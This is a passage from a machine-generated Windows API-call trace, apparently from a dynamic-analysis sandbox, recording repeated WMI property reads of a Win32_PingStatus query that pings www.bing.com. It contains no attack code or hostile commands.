plFlavor=0x2753cb0*=64) returned 0x0 [0127.386] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.386] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.386] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__RELPATH", lFlags=0, pVal=0x59fe878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2753d04*=0, plFlavor=0x2753d08*=0 | out: pVal=0x59fe878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2753d04*=8, plFlavor=0x2753d08*=64) returned 0x0 [0127.386] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0127.386] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0127.386] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2753edc*=0, plFlavor=0x2753ee0*=0 | out: pVal=0x59fe878*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2753edc*=3, plFlavor=0x2753ee0*=64) returned 0x0 [0127.386] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DERIVATION", lFlags=0, pVal=0x59fe878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2753f10*=0, plFlavor=0x2753f14*=0 | out: pVal=0x59fe878*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cd3358*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6118, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2753f10*=8200, plFlavor=0x2753f14*=64) returned 0x0 [0127.387] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SERVER", lFlags=0, pVal=0x59fe878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2753f44*=0, plFlavor=0x2753f48*=0 | out: pVal=0x59fe878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2753f44*=8, plFlavor=0x2753f48*=64) returned 0x0 [0127.387] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.387] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.387] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2753f90*=0, plFlavor=0x2753f94*=0 | out: pVal=0x59fe878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2753f90*=8, plFlavor=0x2753f94*=64) returned 0x0 [0127.387] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.387] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.387] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PATH", lFlags=0, pVal=0x59fe878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2753fdc*=0, plFlavor=0x2753fe0*=0 | out: pVal=0x59fe878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2753fdc*=8, plFlavor=0x2753fe0*=64) returned 0x0 [0127.387] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0127.387] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0127.387] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8bc | out: puCount=0x59fe8bc*=0x2) returned 0x0 [0127.387] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b8*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b8*=0xf, pszText=0x0) returned 0x0 [0127.387] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b8*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.387] IWbemClassObject:Get (in: This=0x5ce4808, wszName="PSShowComputerName", lFlags=0, pVal=0x59fe8b8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2754210*=0, plFlavor=0x2754214*=0 | out: pVal=0x59fe8b8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2754210*=0, plFlavor=0x2754214*=0) returned 0x80041002 [0127.388] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59fe89c | out: pperrinfo=0x59fe89c*=0x0) returned 0x1 [0127.388] IIDFromString (in: lpsz="{EB87E1BD-3233-11D2-AEC9-00C04FB68820}", lpiid=0x59fe7e4 | out: lpiid=0x59fe7e4) returned 0x0 [0127.389] CoGetClassObject (in: rclsid=0x5cd3354*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59fe500 | out: ppv=0x59fe500*=0x5ce6118) returned 0x0 [0127.391] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6118, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe718 | out: ppvObject=0x59fe718*=0x0) returned 0x80004002 [0127.391] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5ce6118, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe724 | out: ppvObject=0x59fe724*=0x5ce6128) returned 0x0 [0127.392] WbemStatusCodeText:IUnknown:Release (This=0x5ce6118) returned 0x0 [0127.392] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6128, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe344 | out: ppvObject=0x59fe344*=0x5ce6128) returned 0x0 [0127.392] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6128, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe2f8 | out: ppvObject=0x59fe2f8*=0x0) returned 0x80004002 [0127.392] WbemStatusCodeText:IUnknown:AddRef (This=0x5ce6128) returned 0x3 [0127.392] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6128, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fdc54 | out: ppvObject=0x59fdc54*=0x0) returned 0x80004002 [0127.392] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6128, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdc04 | out: ppvObject=0x59fdc04*=0x0) returned 0x80004002 [0127.392] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6128, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdc10 | out: ppvObject=0x59fdc10*=0x0) returned 0x80004002 [0127.392] CoGetContextToken (in: pToken=0x59fdc70 | out: pToken=0x59fdc70) returned 0x0 [0127.392] CoGetContextToken (in: pToken=0x59fe084 | out: pToken=0x59fe084) returned 0x0 [0127.392] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6128, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe104 | out: ppvObject=0x59fe104*=0x0) returned 0x80004002 [0127.392] WbemStatusCodeText:IUnknown:Release (This=0x5ce6128) returned 0x2 [0127.393] WbemStatusCodeText:IUnknown:Release (This=0x5ce6128) returned 0x1 [0127.393] CoGetContextToken (in: pToken=0x59fe6fc | out: pToken=0x59fe6fc) returned 0x0 [0127.393] CoGetContextToken (in: pToken=0x59fe65c | out: pToken=0x59fe65c) returned 0x0 [0127.393] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6128, riid=0x59fe72c*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59fe728 | out: ppvObject=0x59fe728*=0x5ce6128) returned 0x0 [0127.393] WbemStatusCodeText:IUnknown:AddRef (This=0x5ce6128) returned 0x3 [0127.393] WbemStatusCodeText:IUnknown:Release (This=0x5ce6128) returned 0x2 [0127.393] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5ce6128, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59fe890 | out: MessageText=0x59fe890*="Not found ") returned 0x0 [0127.468] SysStringByteLen (bstr="Not found ") returned 0x14 [0127.513] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0127.513] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0127.513] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.513] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0127.514] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0127.514] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.514] IWbemClassObject:GetNames (in: This=0x5ce4808, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe748*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe73c | out: pNames=0x59fe73c*="\x01ƀ\x04") returned 0x0 [0127.514] SafeArrayGetDim (psa=0x5cd3388) returned 0x1 [0127.514] SafeArrayGetDim (psa=0x5cd3388) returned 0x1 [0127.514] SafeArrayGetLBound (in: psa=0x5cd3388, nDim=0x1, plLbound=0x59fe5d4 | out: plLbound=0x59fe5d4) returned 0x0 [0127.514] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.514] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.514] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.514] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.514] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.514] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.514] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.514] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.514] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.514] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.514] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.514] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.515] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.515] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.515] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.515] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.515] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.515] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.515] SysStringByteLen (bstr="__PATH") returned 0xc [0127.515] SysStringByteLen (bstr="__PATH") returned 0xc [0127.515] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__GENUS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2754a84*=0, plFlavor=0x2754a88*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2754a84*=3, plFlavor=0x2754a88*=64) returned 0x0 [0127.515] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2754ab8*=0, plFlavor=0x2754abc*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2754ab8*=8, plFlavor=0x2754abc*=64) returned 0x0 [0127.515] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.515] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.516] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2754b10*=0, plFlavor=0x2754b14*=0 | out: pVal=0x59fe738*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2754b10*=8, plFlavor=0x2754b14*=64) returned 0x0 [0127.516] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DYNASTY", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2754b38*=0, plFlavor=0x2754b3c*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2754b38*=8, plFlavor=0x2754b3c*=64) returned 0x0 [0127.516] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.516] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.516] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__RELPATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2754b90*=0, plFlavor=0x2754b94*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2754b90*=8, plFlavor=0x2754b94*=64) returned 0x0 [0127.516] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0127.516] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0127.516] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2754d68*=0, plFlavor=0x2754d6c*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2754d68*=3, plFlavor=0x2754d6c*=64) returned 0x0 [0127.516] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DERIVATION", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2754d9c*=0, plFlavor=0x2754da0*=0 | out: pVal=0x59fe738*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cd33b8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6118, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2754d9c*=8200, plFlavor=0x2754da0*=64) returned 0x0 [0127.517] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SERVER", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2754dd0*=0, plFlavor=0x2754dd4*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2754dd0*=8, plFlavor=0x2754dd4*=64) returned 0x0 [0127.517] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.517] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.517] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0127.517] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0127.517] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.517] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0127.517] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0127.517] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.518] IWbemClassObject:GetNames (in: This=0x5ce4808, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe77c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe770 | out: pNames=0x59fe770*="\x01ƀ\x04") returned 0x0 [0127.518] SafeArrayGetDim (psa=0x5cd32f8) returned 0x1 [0127.518] SafeArrayGetDim (psa=0x5cd32f8) returned 0x1 [0127.518] SafeArrayGetLBound (in: psa=0x5cd32f8, nDim=0x1, plLbound=0x59fe608 | out: plLbound=0x59fe608) returned 0x0 [0127.518] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.518] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.518] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.518] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.518] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.518] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.518] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.518] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.518] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.518] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.518] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.518] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.518] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.518] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.532] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.532] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.532] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.532] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.532] SysStringByteLen (bstr="__PATH") returned 0xc [0127.532] SysStringByteLen (bstr="__PATH") returned 0xc [0127.532] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__GENUS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27551a8*=0, plFlavor=0x27551ac*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x27551a8*=3, plFlavor=0x27551ac*=64) returned 0x0 [0127.533] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27551dc*=0, plFlavor=0x27551e0*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x27551dc*=8, plFlavor=0x27551e0*=64) returned 0x0 [0127.533] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.533] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.533] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2755234*=0, plFlavor=0x2755238*=0 | out: pVal=0x59fe76c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2755234*=8, plFlavor=0x2755238*=64) returned 0x0 [0127.533] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DYNASTY", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x275525c*=0, plFlavor=0x2755260*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x275525c*=8, plFlavor=0x2755260*=64) returned 0x0 [0127.533] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.533] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.533] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__RELPATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27552b4*=0, plFlavor=0x27552b8*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x27552b4*=8, plFlavor=0x27552b8*=64) returned 0x0 [0127.533] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0127.534] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0127.534] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x275548c*=0, plFlavor=0x2755490*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x275548c*=3, plFlavor=0x2755490*=64) returned 0x0 [0127.534] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DERIVATION", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27554c0*=0, plFlavor=0x27554c4*=0 | out: pVal=0x59fe76c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cd3298*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6118, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x27554c0*=8200, plFlavor=0x27554c4*=64) returned 0x0 [0127.593] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SERVER", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27554f4*=0, plFlavor=0x27554f8*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x27554f4*=8, plFlavor=0x27554f8*=64) returned 0x0 [0127.594] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.594] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.594] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SERVER", lFlags=0, 